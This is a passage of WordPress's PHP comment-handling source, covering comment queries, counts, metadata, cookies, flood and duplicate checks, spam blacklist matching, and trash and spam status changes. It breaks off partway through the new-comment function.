absint($number); $offset = absint($offset); if ( !empty($number) ) { if ( $offset ) $limits = 'LIMIT ' . $offset . ',' . $number; else $limits = 'LIMIT ' . $number; } else { $limits = ''; } if ( $count ) $fields = 'COUNT(*)'; else $fields = '*'; $join = ''; $where = $approved; if ( ! empty($post_id) ) $where .= $wpdb->prepare( ' AND comment_post_ID = %d', $post_id ); if ( '' !== $author_email ) $where .= $wpdb->prepare( ' AND comment_author_email = %s', $author_email ); if ( '' !== $karma ) $where .= $wpdb->prepare( ' AND comment_karma = %d', $karma ); if ( 'comment' == $type ) { $where .= " AND comment_type = ''"; } elseif( 'pings' == $type ) { $where .= ' AND comment_type IN ("pingback", "trackback")'; } elseif ( ! empty( $type ) ) { $where .= $wpdb->prepare( ' AND comment_type = %s', $type ); } if ( '' !== $parent ) $where .= $wpdb->prepare( ' AND comment_parent = %d', $parent ); if ( '' !== $user_id ) $where .= $wpdb->prepare( ' AND user_id = %d', $user_id ); if ( '' !== $search ) $where .= $this->get_search_sql( $search, array( 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_content' ) ); $post_fields = array_filter( compact( array( 'post_author', 'post_name', 'post_parent', 'post_status', 'post_type', ) ) ); if ( ! empty( $post_fields ) ) { $join = "JOIN $wpdb->posts ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID"; foreach( $post_fields as $field_name => $field_value ) $where .= $wpdb->prepare( " AND {$wpdb->posts}.{$field_name} = %s", $field_value ); } if ( ! empty( $this->meta_query->queries ) ) { $clauses = $this->meta_query->get_sql( 'comment', $wpdb->comments, 'comment_ID', $this ); $join .= $clauses['join']; $where .= $clauses['where']; $groupby = "{$wpdb->comments}.comment_ID"; } $pieces = array( 'fields', 'join', 'where', 'orderby', 'order', 'limits', 'groupby' ); $clauses = apply_filters_ref_array( 'comments_clauses', array( compact( $pieces ), &$this ) ); foreach ( $pieces as $piece ) $$piece = isset( $clauses[ $piece ] ) ? $clauses[ $piece ] : ''; if ( $groupby ) $groupby = 'GROUP BY ' . $groupby; $query = "SELECT $fields FROM $wpdb->comments $join WHERE $where $groupby ORDER BY $orderby $order $limits"; if ( $count ) return $wpdb->get_var( $query ); $comments = $wpdb->get_results( $query ); $comments = apply_filters_ref_array( 'the_comments', array( $comments, &$this ) ); wp_cache_add( $cache_key, $comments, 'comment' ); return $comments; } /* * Used internally to generate an SQL string for searching across multiple columns * * @access protected * @since 3.1.0 * * @param string $string * @param array $cols * @return string */ function get_search_sql( $string, $cols ) { $string = esc_sql( like_escape( $string ) ); $searches = array(); foreach ( $cols as $col ) $searches[] = "$col LIKE '%$string%'"; return ' AND (' . implode(' OR ', $searches) . ')'; } } /** * Retrieve all of the WordPress supported comment statuses. * * Comments have a limited set of valid status values, this provides the comment * status values and descriptions. * * @package WordPress * @subpackage Post * @since 2.7.0 * * @return array List of comment statuses. */ function get_comment_statuses( ) { $status = array( 'hold' => __('Unapproved'), /* translators: comment status */ 'approve' => _x('Approved', 'adjective'), /* translators: comment status */ 'spam' => _x('Spam', 'adjective'), ); return $status; } /** * The date the last comment was modified. * * @since 1.5.0 * @uses $wpdb * * @param string $timezone Which timezone to use in reference to 'gmt', 'blog', * or 'server' locations. * @return string Last comment modified date. */ function get_lastcommentmodified($timezone = 'server') { global $wpdb; static $cache_lastcommentmodified = array(); if ( isset($cache_lastcommentmodified[$timezone]) ) return $cache_lastcommentmodified[$timezone]; $add_seconds_server = date('Z'); switch ( strtolower($timezone)) { case 'gmt': $lastcommentmodified = $wpdb->get_var("SELECT comment_date_gmt FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1"); break; case 'blog': $lastcommentmodified = $wpdb->get_var("SELECT comment_date FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1"); break; case 'server': $lastcommentmodified = $wpdb->get_var($wpdb->prepare("SELECT DATE_ADD(comment_date_gmt, INTERVAL %s SECOND) FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1", $add_seconds_server)); break; } $cache_lastcommentmodified[$timezone] = $lastcommentmodified; return $lastcommentmodified; } /** * The amount of comments in a post or total comments. * * A lot like {@link wp_count_comments()}, in that they both return comment * stats (albeit with different types). The {@link wp_count_comments()} actual * caches, but this function does not. * * @since 2.0.0 * @uses $wpdb * * @param int $post_id Optional. Comment amount in post if > 0, else total comments blog wide. * @return array The amount of spam, approved, awaiting moderation, and total comments. */ function get_comment_count( $post_id = 0 ) { global $wpdb; $post_id = (int) $post_id; $where = ''; if ( $post_id > 0 ) { $where = $wpdb->prepare("WHERE comment_post_ID = %d", $post_id); } $totals = (array) $wpdb->get_results(" SELECT comment_approved, COUNT( * ) AS total FROM {$wpdb->comments} {$where} GROUP BY comment_approved ", ARRAY_A); $comment_count = array( "approved" => 0, "awaiting_moderation" => 0, "spam" => 0, "total_comments" => 0 ); foreach ( $totals as $row ) { switch ( $row['comment_approved'] ) { case 'spam': $comment_count['spam'] = $row['total']; $comment_count["total_comments"] += $row['total']; break; case 1: $comment_count['approved'] = $row['total']; $comment_count['total_comments'] += $row['total']; break; case 0: $comment_count['awaiting_moderation'] = $row['total']; $comment_count['total_comments'] += $row['total']; break; default: break; } } return $comment_count; } // // Comment meta functions // /** * Add meta data field to a comment. * * @since 2.9.0 * @uses add_metadata * @link http://codex.wordpress.org/Function_Reference/add_comment_meta * * @param int $comment_id Comment ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Metadata value. * @param bool $unique Optional, default is false. Whether the same key should not be added. * @return bool False for failure. True for success. */ function add_comment_meta($comment_id, $meta_key, $meta_value, $unique = false) { return add_metadata('comment', $comment_id, $meta_key, $meta_value, $unique); } /** * Remove metadata matching criteria from a comment. * * You can match based on the key, or key and value. Removing based on key and * value, will keep from removing duplicate metadata with the same key. It also * allows removing all metadata matching key, if needed. * * @since 2.9.0 * @uses delete_metadata * @link http://codex.wordpress.org/Function_Reference/delete_comment_meta * * @param int $comment_id comment ID * @param string $meta_key Metadata name. * @param mixed $meta_value Optional. Metadata value. * @return bool False for failure. True for success. */ function delete_comment_meta($comment_id, $meta_key, $meta_value = '') { return delete_metadata('comment', $comment_id, $meta_key, $meta_value); } /** * Retrieve comment meta field for a comment. * * @since 2.9.0 * @uses get_metadata * @link http://codex.wordpress.org/Function_Reference/get_comment_meta * * @param int $comment_id Comment ID. * @param string $key Optional. The meta key to retrieve. By default, returns data for all keys. * @param bool $single Whether to return a single value. * @return mixed Will be an array if $single is false. Will be value of meta data field if $single * is true. */ function get_comment_meta($comment_id, $key = '', $single = false) { return get_metadata('comment', $comment_id, $key, $single); } /** * Update comment meta field based on comment ID. * * Use the $prev_value parameter to differentiate between meta fields with the * same key and comment ID. * * If the meta field for the comment does not exist, it will be added. * * @since 2.9.0 * @uses update_metadata * @link http://codex.wordpress.org/Function_Reference/update_comment_meta * * @param int $comment_id Comment ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. * @param mixed $prev_value Optional. Previous value to check before removing. * @return bool False on failure, true if success. */ function update_comment_meta($comment_id, $meta_key, $meta_value, $prev_value = '') { return update_metadata('comment', $comment_id, $meta_key, $meta_value, $prev_value); } /** * Sets the cookies used to store an unauthenticated commentator's identity. Typically used * to recall previous comments by this commentator that are still held in moderation. * * @param object $comment Comment object. * @param object $user Comment author's object. * * @since 3.4.0 */ function wp_set_comment_cookies($comment, $user) { if ( $user->exists() ) return; $comment_cookie_lifetime = apply_filters('comment_cookie_lifetime', 30000000); setcookie('comment_author_' . COOKIEHASH, $comment->comment_author, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); setcookie('comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); setcookie('comment_author_url_' . COOKIEHASH, esc_url($comment->comment_author_url), time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); } /** * Sanitizes the cookies sent to the user already. * * Will only do anything if the cookies have already been created for the user. * Mostly used after cookies had been sent to use elsewhere. * * @since 2.0.4 */ function sanitize_comment_cookies() { if ( isset($_COOKIE['comment_author_'.COOKIEHASH]) ) { $comment_author = apply_filters('pre_comment_author_name', $_COOKIE['comment_author_'.COOKIEHASH]); $comment_author = stripslashes($comment_author); $comment_author = esc_attr($comment_author); $_COOKIE['comment_author_'.COOKIEHASH] = $comment_author; } if ( isset($_COOKIE['comment_author_email_'.COOKIEHASH]) ) { $comment_author_email = apply_filters('pre_comment_author_email', $_COOKIE['comment_author_email_'.COOKIEHASH]); $comment_author_email = stripslashes($comment_author_email); $comment_author_email = esc_attr($comment_author_email); $_COOKIE['comment_author_email_'.COOKIEHASH] = $comment_author_email; } if ( isset($_COOKIE['comment_author_url_'.COOKIEHASH]) ) { $comment_author_url = apply_filters('pre_comment_author_url', $_COOKIE['comment_author_url_'.COOKIEHASH]); $comment_author_url = stripslashes($comment_author_url); $_COOKIE['comment_author_url_'.COOKIEHASH] = $comment_author_url; } } /** * Validates whether this comment is allowed to be made. * * @since 2.0.0 * @uses $wpdb * @uses apply_filters() Calls 'pre_comment_approved' hook on the type of comment * @uses apply_filters() Calls 'comment_duplicate_trigger' hook on commentdata. * @uses do_action() Calls 'check_comment_flood' hook on $comment_author_IP, $comment_author_email, and $comment_date_gmt * * @param array $commentdata Contains information on the comment * @return mixed Signifies the approval status (0|1|'spam') */ function wp_allow_comment($commentdata) { global $wpdb; extract($commentdata, EXTR_SKIP); // Simple duplicate check // expected_slashed ($comment_post_ID, $comment_author, $comment_author_email, $comment_content) $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND comment_parent = '$comment_parent' AND comment_approved != 'trash' AND ( comment_author = '$comment_author' "; if ( $comment_author_email ) $dupe .= "OR comment_author_email = '$comment_author_email' "; $dupe .= ") AND comment_content = '$comment_content' LIMIT 1"; if ( $wpdb->get_var($dupe) ) { do_action( 'comment_duplicate_trigger', $commentdata ); if ( defined('DOING_AJAX') ) die( __('Duplicate comment detected; it looks as though you&#8217;ve already said that!') ); wp_die( __('Duplicate comment detected; it looks as though you&#8217;ve already said that!') ); } do_action( 'check_comment_flood', $comment_author_IP, $comment_author_email, $comment_date_gmt ); if ( ! empty( $user_id ) ) { $user = get_userdata( $user_id ); $post_author = $wpdb->get_var($wpdb->prepare("SELECT post_author FROM $wpdb->posts WHERE ID = %d LIMIT 1", $comment_post_ID)); } if ( isset( $user ) && ( $user_id == $post_author || $user->has_cap( 'moderate_comments' ) ) ) { // The author and the admins get respect. $approved = 1; } else { // Everyone else's comments will be checked. if ( check_comment($comment_author, $comment_author_email, $comment_author_url, $comment_content, $comment_author_IP, $comment_agent, $comment_type) ) $approved = 1; else $approved = 0; if ( wp_blacklist_check($comment_author, $comment_author_email, $comment_author_url, $comment_content, $comment_author_IP, $comment_agent) ) $approved = 'spam'; } $approved = apply_filters( 'pre_comment_approved', $approved, $commentdata ); return $approved; } /** * Check whether comment flooding is occurring. * * Won't run, if current user can manage options, so to not block * administrators. * * @since 2.3.0 * @uses $wpdb * @uses apply_filters() Calls 'comment_flood_filter' filter with first * parameter false, last comment timestamp, new comment timestamp. * @uses do_action() Calls 'comment_flood_trigger' action with parameters with * last comment timestamp and new comment timestamp. * * @param string $ip Comment IP. * @param string $email Comment author email address. * @param string $date MySQL time string. */ function check_comment_flood_db( $ip, $email, $date ) { global $wpdb; if ( current_user_can( 'manage_options' ) ) return; // don't throttle admins $hour_ago = gmdate( 'Y-m-d H:i:s', time() - HOUR_IN_SECONDS ); if ( $lasttime = $wpdb->get_var( $wpdb->prepare( "SELECT `comment_date_gmt` FROM `$wpdb->comments` WHERE `comment_date_gmt` >= %s AND ( `comment_author_IP` = %s OR `comment_author_email` = %s ) ORDER BY `comment_date_gmt` DESC LIMIT 1", $hour_ago, $ip, $email ) ) ) { $time_lastcomment = mysql2date('U', $lasttime, false); $time_newcomment = mysql2date('U', $date, false); $flood_die = apply_filters('comment_flood_filter', false, $time_lastcomment, $time_newcomment); if ( $flood_die ) { do_action('comment_flood_trigger', $time_lastcomment, $time_newcomment); if ( defined('DOING_AJAX') ) die( __('You are posting comments too quickly. Slow down.') ); wp_die( __('You are posting comments too quickly. Slow down.'), '', array('response' => 403) ); } } } /** * Separates an array of comments into an array keyed by comment_type. * * @since 2.7.0 * * @param array $comments Array of comments * @return array Array of comments keyed by comment_type. */ function separate_comments(&$comments) { $comments_by_type = array('comment' => array(), 'trackback' => array(), 'pingback' => array(), 'pings' => array()); $count = count($comments); for ( $i = 0; $i < $count; $i++ ) { $type = $comments[$i]->comment_type; if ( empty($type) ) $type = 'comment'; $comments_by_type[$type][] = &$comments[$i]; if ( 'trackback' == $type || 'pingback' == $type ) $comments_by_type['pings'][] = &$comments[$i]; } return $comments_by_type; } /** * Calculate the total number of comment pages. * * @since 2.7.0 * @uses get_query_var() Used to fill in the default for $per_page parameter. * @uses get_option() Used to fill in defaults for parameters. * @uses Walker_Comment * * @param array $comments Optional array of comment objects. Defaults to $wp_query->comments * @param int $per_page Optional comments per page. * @param boolean $threaded Optional control over flat or threaded comments. * @return int Number of comment pages. */ function get_comment_pages_count( $comments = null, $per_page = null, $threaded = null ) { global $wp_query; if ( null === $comments && null === $per_page && null === $threaded && !empty($wp_query->max_num_comment_pages) ) return $wp_query->max_num_comment_pages; if ( !$comments || !is_array($comments) ) $comments = $wp_query->comments; if ( empty($comments) ) return 0; if ( !isset($per_page) ) $per_page = (int) get_query_var('comments_per_page'); if ( 0 === $per_page ) $per_page = (int) get_option('comments_per_page'); if ( 0 === $per_page ) return 1; if ( !isset($threaded) ) $threaded = get_option('thread_comments'); if ( $threaded ) { $walker = new Walker_Comment; $count = ceil( $walker->get_number_of_root_elements( $comments ) / $per_page ); } else { $count = ceil( count( $comments ) / $per_page ); } return $count; } /** * Calculate what page number a comment will appear on for comment paging. * * @since 2.7.0 * @uses get_comment() Gets the full comment of the $comment_ID parameter. * @uses get_option() Get various settings to control function and defaults. * @uses get_page_of_comment() Used to loop up to top level comment. * * @param int $comment_ID Comment ID. * @param array $args Optional args. * @return int|null Comment page number or null on error. */ function get_page_of_comment( $comment_ID, $args = array() ) { global $wpdb; if ( !$comment = get_comment( $comment_ID ) ) return; $defaults = array( 'type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => '' ); $args = wp_parse_args( $args, $defaults ); if ( '' === $args['per_page'] && get_option('page_comments') ) $args['per_page'] = get_query_var('comments_per_page'); if ( empty($args['per_page']) ) { $args['per_page'] = 0; $args['page'] = 0; } if ( $args['per_page'] < 1 ) return 1; if ( '' === $args['max_depth'] ) { if ( get_option('thread_comments') ) $args['max_depth'] = get_option('thread_comments_depth'); else $args['max_depth'] = -1; } // Find this comment's top level parent if threading is enabled if ( $args['max_depth'] > 1 && 0 != $comment->comment_parent ) return get_page_of_comment( $comment->comment_parent, $args ); $allowedtypes = array( 'comment' => '', 'pingback' => 'pingback', 'trackback' => 'trackback', ); $comtypewhere = ( 'all' != $args['type'] && isset($allowedtypes[$args['type']]) ) ? " AND comment_type = '" . $allowedtypes[$args['type']] . "'" : ''; // Count comments older than this one $oldercoms = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(comment_ID) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_parent = 0 AND comment_approved = '1' AND comment_date_gmt < '%s'" . $comtypewhere, $comment->comment_post_ID, $comment->comment_date_gmt ) ); // No older comments? Then it's page #1. if ( 0 == $oldercoms ) return 1; // Divide comments older than this one by comments per page to get this comment's page number return ceil( ( $oldercoms + 1 ) / $args['per_page'] ); } /** * Does comment contain blacklisted characters or words. * * @since 1.5.0 * @uses do_action() Calls 'wp_blacklist_check' hook for all parameters. * * @param string $author The author of the comment * @param string $email The email of the comment * @param string $url The url used in the comment * @param string $comment The comment content * @param string $user_ip The comment author IP address * @param string $user_agent The author's browser user agent * @return bool True if comment contains blacklisted content, false if comment does not */ function wp_blacklist_check($author, $email, $url, $comment, $user_ip, $user_agent) { do_action('wp_blacklist_check', $author, $email, $url, $comment, $user_ip, $user_agent); $mod_keys = trim( get_option('blacklist_keys') ); if ( '' == $mod_keys ) return false; // If moderation keys are empty $words = explode("\n", $mod_keys ); foreach ( (array) $words as $word ) { $word = trim($word); // Skip empty lines if ( empty($word) ) { continue; } // Do some escaping magic so that '#' chars in the // spam words don't break things: $word = preg_quote($word, '#'); $pattern = "#$word#i"; if ( preg_match($pattern, $author) || preg_match($pattern, $email) || preg_match($pattern, $url) || preg_match($pattern, $comment) || preg_match($pattern, $user_ip) || preg_match($pattern, $user_agent) ) return true; } return false; } /** * Retrieve total comments for blog or single post. * * The properties of the returned object contain the 'moderated', 'approved', * and spam comments for either the entire blog or single post. Those properties * contain the amount of comments that match the status. The 'total_comments' * property contains the integer of total comments. * * The comment stats are cached and then retrieved, if they already exist in the * cache. * * @since 2.5.0 * * @param int $post_id Optional. Post ID. * @return object Comment stats. */ function wp_count_comments( $post_id = 0 ) { global $wpdb; $post_id = (int) $post_id; $stats = apply_filters('wp_count_comments', array(), $post_id); if ( !empty($stats) ) return $stats; $count = wp_cache_get("comments-{$post_id}", 'counts'); if ( false !== $count ) return $count; $where = ''; if ( $post_id > 0 ) $where = $wpdb->prepare( "WHERE comment_post_ID = %d", $post_id ); $count = $wpdb->get_results( "SELECT comment_approved, COUNT( * ) AS num_comments FROM {$wpdb->comments} {$where} GROUP BY comment_approved", ARRAY_A ); $total = 0; $approved = array('0' => 'moderated', '1' => 'approved', 'spam' => 'spam', 'trash' => 'trash', 'post-trashed' => 'post-trashed'); foreach ( (array) $count as $row ) { // Don't count post-trashed toward totals if ( 'post-trashed' != $row['comment_approved'] && 'trash' != $row['comment_approved'] ) $total += $row['num_comments']; if ( isset( $approved[$row['comment_approved']] ) ) $stats[$approved[$row['comment_approved']]] = $row['num_comments']; } $stats['total_comments'] = $total; foreach ( $approved as $key ) { if ( empty($stats[$key]) ) $stats[$key] = 0; } $stats = (object) $stats; wp_cache_set("comments-{$post_id}", $stats, 'counts'); return $stats; } /** * Trashes or deletes a comment. * * The comment is moved to trash instead of permanently deleted unless trash is * disabled, item is already in the trash, or $force_delete is true. * * The post comment count will be updated if the comment was approved and has a * post ID available. * * @since 2.0.0 * @uses $wpdb * @uses do_action() Calls 'delete_comment' hook on comment ID * @uses do_action() Calls 'deleted_comment' hook on comment ID after deletion, on success * @uses do_action() Calls 'wp_set_comment_status' hook on comment ID with 'delete' set for the second parameter * @uses wp_transition_comment_status() Passes new and old comment status along with $comment object * * @param int $comment_id Comment ID * @param bool $force_delete Whether to bypass trash and force deletion. Default is false. * @return bool False if delete comment query failure, true on success. */ function wp_delete_comment($comment_id, $force_delete = false) { global $wpdb; if (!$comment = get_comment($comment_id)) return false; if ( !$force_delete && EMPTY_TRASH_DAYS && !in_array( wp_get_comment_status($comment_id), array( 'trash', 'spam' ) ) ) return wp_trash_comment($comment_id); do_action('delete_comment', $comment_id); // Move children up a level. $children = $wpdb->get_col( $wpdb->prepare("SELECT comment_ID FROM $wpdb->comments WHERE comment_parent = %d", $comment_id) ); if ( !empty($children) ) { $wpdb->update($wpdb->comments, array('comment_parent' => $comment->comment_parent), array('comment_parent' => $comment_id)); clean_comment_cache($children); } // Delete metadata $meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->commentmeta WHERE comment_id = %d", $comment_id ) ); foreach ( $meta_ids as $mid ) delete_metadata_by_mid( 'comment', $mid ); if ( ! $wpdb->delete( $wpdb->comments, array( 'comment_ID' => $comment_id ) ) ) return false; do_action('deleted_comment', $comment_id); $post_id = $comment->comment_post_ID; if ( $post_id && $comment->comment_approved == 1 ) wp_update_comment_count($post_id); clean_comment_cache($comment_id); do_action('wp_set_comment_status', $comment_id, 'delete'); wp_transition_comment_status('delete', $comment->comment_approved, $comment); return true; } /** * Moves a comment to the Trash * * If trash is disabled, comment is permanently deleted. * * @since 2.9.0 * @uses do_action() on 'trash_comment' before trashing * @uses do_action() on 'trashed_comment' after trashing * @uses wp_delete_comment() if trash is disabled * * @param int $comment_id Comment ID. * @return mixed False on failure */ function wp_trash_comment($comment_id) { if ( !EMPTY_TRASH_DAYS ) return wp_delete_comment($comment_id, true); if ( !$comment = get_comment($comment_id) ) return false; do_action('trash_comment', $comment_id); if ( wp_set_comment_status($comment_id, 'trash') ) { add_comment_meta($comment_id, '_wp_trash_meta_status', $comment->comment_approved); add_comment_meta($comment_id, '_wp_trash_meta_time', time() ); do_action('trashed_comment', $comment_id); return true; } return false; } /** * Removes a comment from the Trash * * @since 2.9.0 * @uses do_action() on 'untrash_comment' before untrashing * @uses do_action() on 'untrashed_comment' after untrashing * * @param int $comment_id Comment ID. * @return mixed False on failure */ function wp_untrash_comment($comment_id) { if ( ! (int)$comment_id ) return false; do_action('untrash_comment', $comment_id); $status = (string) get_comment_meta($comment_id, '_wp_trash_meta_status', true); if ( empty($status) ) $status = '0'; if ( wp_set_comment_status($comment_id, $status) ) { delete_comment_meta($comment_id, '_wp_trash_meta_time'); delete_comment_meta($comment_id, '_wp_trash_meta_status'); do_action('untrashed_comment', $comment_id); return true; } return false; } /** * Marks a comment as Spam * * @since 2.9.0 * @uses do_action() on 'spam_comment' before spamming * @uses do_action() on 'spammed_comment' after spamming * * @param int $comment_id Comment ID. * @return mixed False on failure */ function wp_spam_comment($comment_id) { if ( !$comment = get_comment($comment_id) ) return false; do_action('spam_comment', $comment_id); if ( wp_set_comment_status($comment_id, 'spam') ) { add_comment_meta($comment_id, '_wp_trash_meta_status', $comment->comment_approved); do_action('spammed_comment', $comment_id); return true; } return false; } /** * Removes a comment from the Spam * * @since 2.9.0 * @uses do_action() on 'unspam_comment' before unspamming * @uses do_action() on 'unspammed_comment' after unspamming * * @param int $comment_id Comment ID. * @return mixed False on failure */ function wp_unspam_comment($comment_id) { if ( ! (int)$comment_id ) return false; do_action('unspam_comment', $comment_id); $status = (string) get_comment_meta($comment_id, '_wp_trash_meta_status', true); if ( empty($status) ) $status = '0'; if ( wp_set_comment_status($comment_id, $status) ) { delete_comment_meta($comment_id, '_wp_trash_meta_status'); do_action('unspammed_comment', $comment_id); return true; } return false; } /** * The status of a comment by ID. * * @since 1.0.0 * * @param int $comment_id Comment ID * @return string|bool Status might be 'trash', 'approved', 'unapproved', 'spam'. False on failure. */ function wp_get_comment_status($comment_id) { $comment = get_comment($comment_id); if ( !$comment ) return false; $approved = $comment->comment_approved; if ( $approved == null ) return false; elseif ( $approved == '1' ) return 'approved'; elseif ( $approved == '0' ) return 'unapproved'; elseif ( $approved == 'spam' ) return 'spam'; elseif ( $approved == 'trash' ) return 'trash'; else return false; } /** * Call hooks for when a comment status transition occurs. * * Calls hooks for comment status transitions. If the new comment status is not the same * as the previous comment status, then two hooks will be ran, the first is * 'transition_comment_status' with new status, old status, and comment data. The * next action called is 'comment_OLDSTATUS_to_NEWSTATUS' the NEWSTATUS is the * $new_status parameter and the OLDSTATUS is $old_status parameter; it has the * comment data. * * The final action will run whether or not the comment statuses are the same. The * action is named 'comment_NEWSTATUS_COMMENTTYPE', NEWSTATUS is from the $new_status * parameter and COMMENTTYPE is comment_type comment data. * * @since 2.7.0 * * @param string $new_status New comment status. * @param string $old_status Previous comment status. * @param object $comment Comment data. */ function wp_transition_comment_status($new_status, $old_status, $comment) { // Translate raw statuses to human readable formats for the hooks // This is not a complete list of comment status, it's only the ones that need to be renamed $comment_statuses = array( 0 => 'unapproved', 'hold' => 'unapproved', // wp_set_comment_status() uses "hold" 1 => 'approved', 'approve' => 'approved', // wp_set_comment_status() uses "approve" ); if ( isset($comment_statuses[$new_status]) ) $new_status = $comment_statuses[$new_status]; if ( isset($comment_statuses[$old_status]) ) $old_status = $comment_statuses[$old_status]; // Call the hooks if ( $new_status != $old_status ) { do_action('transition_comment_status', $new_status, $old_status, $comment); do_action("comment_{$old_status}_to_{$new_status}", $comment); } do_action("comment_{$new_status}_{$comment->comment_type}", $comment->comment_ID, $comment); } /** * Get current commenter's name, email, and URL. * * Expects cookies content to already be sanitized. User of this function might * wish to recheck the returned array for validity. * * @see sanitize_comment_cookies() Use to sanitize cookies * * @since 2.0.4 * * @return array Comment author, email, url respectively. */ function wp_get_current_commenter() { // Cookies should already be sanitized. $comment_author = ''; if ( isset($_COOKIE['comment_author_'.COOKIEHASH]) ) $comment_author = $_COOKIE['comment_author_'.COOKIEHASH]; $comment_author_email = ''; if ( isset($_COOKIE['comment_author_email_'.COOKIEHASH]) ) $comment_author_email = $_COOKIE['comment_author_email_'.COOKIEHASH]; $comment_author_url = ''; if ( isset($_COOKIE['comment_author_url_'.COOKIEHASH]) ) $comment_author_url = $_COOKIE['comment_author_url_'.COOKIEHASH]; return apply_filters('wp_get_current_commenter', compact('comment_author', 'comment_author_email', 'comment_author_url')); } /** * Inserts a comment to the database. * * The available comment data key names are 'comment_author_IP', 'comment_date', * 'comment_date_gmt', 'comment_parent', 'comment_approved', and 'user_id'. * * @since 2.0.0 * @uses $wpdb * * @param array $commentdata Contains information on the comment. * @return int The new comment's ID. */ function wp_insert_comment($commentdata) { global $wpdb; extract(stripslashes_deep($commentdata), EXTR_SKIP); if ( ! isset($comment_author_IP) ) $comment_author_IP = ''; if ( ! isset($comment_date) ) $comment_date = current_time('mysql'); if ( ! isset($comment_date_gmt) ) $comment_date_gmt = get_gmt_from_date($comment_date); if ( ! isset($comment_parent) ) $comment_parent = 0; if ( ! isset($comment_approved) ) $comment_approved = 1; if ( ! isset($comment_karma) ) $comment_karma = 0; if ( ! isset($user_id) ) $user_id = 0; if ( ! isset($comment_type) ) $comment_type = ''; $data = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_date', 'comment_date_gmt', 'comment_content', 'comment_karma', 'comment_approved', 'comment_agent', 'comment_type', 'comment_parent', 'user_id'); $wpdb->insert($wpdb->comments, $data); $id = (int) $wpdb->insert_id; if ( $comment_approved == 1 ) wp_update_comment_count($comment_post_ID); $comment = get_comment($id); do_action('wp_insert_comment', $id, $comment); if ( function_exists( 'wp_cache_incr' ) ) { wp_cache_incr( 'last_changed', 1, 'comment' ); } else { $last_changed = wp_cache_get( 'last_changed', 'comment' ); wp_cache_set( 'last_changed', $last_changed + 1, 'comment' ); } return $id; } /** * Filters and sanitizes comment data. * * Sets the comment data 'filtered' field to true when finished. This can be * checked as to whether the comment should be filtered and to keep from * filtering the same comment more than once. * * @since 2.0.0 * @uses apply_filters() Calls 'pre_user_id' hook on comment author's user ID * @uses apply_filters() Calls 'pre_comment_user_agent' hook on comment author's user agent * @uses apply_filters() Calls 'pre_comment_author_name' hook on comment author's name * @uses apply_filters() Calls 'pre_comment_content' hook on the comment's content * @uses apply_filters() Calls 'pre_comment_user_ip' hook on comment author's IP * @uses apply_filters() Calls 'pre_comment_author_url' hook on comment author's URL * @uses apply_filters() Calls 'pre_comment_author_email' hook on comment author's email address * * @param array $commentdata Contains information on the comment. * @return array Parsed comment information. */ function wp_filter_comment($commentdata) { if ( isset($commentdata['user_ID']) ) $commentdata['user_id'] = apply_filters('pre_user_id', $commentdata['user_ID']); elseif ( isset($commentdata['user_id']) ) $commentdata['user_id'] = apply_filters('pre_user_id', $commentdata['user_id']); $commentdata['comment_agent'] = apply_filters('pre_comment_user_agent', ( isset( $commentdata['comment_agent'] ) ? $commentdata['comment_agent'] : '' ) ); $commentdata['comment_author'] = apply_filters('pre_comment_author_name', $commentdata['comment_author']); $commentdata['comment_content'] = apply_filters('pre_comment_content', $commentdata['comment_content']); $commentdata['comment_author_IP'] = apply_filters('pre_comment_user_ip', $commentdata['comment_author_IP']); $commentdata['comment_author_url'] = apply_filters('pre_comment_author_url', $commentdata['comment_author_url']); $commentdata['comment_author_email'] = apply_filters('pre_comment_author_email', $commentdata['comment_author_email']); $commentdata['filtered'] = true; return $commentdata; } /** * Whether comment should be blocked because of comment flood. * * @since 2.1.0 * * @param bool $block Whether plugin has already blocked comment. * @param int $time_lastcomment Timestamp for last comment. * @param int $time_newcomment Timestamp for new comment. * @return bool Whether comment should be blocked. */ function wp_throttle_comment_flood($block, $time_lastcomment, $time_newcomment) { if ( $block ) // a plugin has already blocked... we'll let that decision stand return $block; if ( ($time_newcomment - $time_lastcomment) < 15 ) return true; return false; } /** * Adds a new comment to the database. * * Filters new comment to ensure that the fields are sanitized and valid before * inserting comment into database. Calls 'comment_post' action with comment ID * and whether comment is approved by WordPress. Also has 'preprocess_comment' * filter for processing the comment data before the function handles it. * * We use REMOTE_ADDR here directly. If you are behind a proxy, you should ensure * that it is properly set, such as in wp-config.php, for your environment. * See {@link http://core.trac.wordpress.org/ticket/9235} * * @since 1.5.0 * @uses apply_filters() Calls 'preprocess_comment' hook on $commentdata parameter array before processing * @uses do_action() Calls 'comment_post' hook on $comment_ID returned from adding the comment and if the comment was approved. * @uses wp_filter_comment() Used to filter comment before adding comment. * @uses wp_allow_comment() checks to see if comment is approved. * @uses wp_insert_comment() Does the actual comment insertion to the database. * * @param array $commentdata Contains information on the comment. * @return int The ID of the comment after adding. */ function wp_new_comment( $commentdata ) { $commentdata = apply_filters('preprocess_comment', $commentdata); $commentdata['comment_post_ID'] = (int) $commentdata['comment_post_ID']; if ( isset($commentdata['user_ID']) ) $commentdata['user_id'] = $commentdata['user_ID'] = (int) $commentdata['user_ID']; elseif ( isset($commentdata['user_id']) ) $commentdata['user_id'] = (int) $commentdata['user_id']; $commentdata['comment_parent'] = isset($commentdata['comment_parent']) ? absint($commentdata['comment_parent']) : 0; $parent_status = ( 0 < $commentdata['comment_parent'] ) ? wp_get_comment_status($commentdata['comment_parent']) : ''; 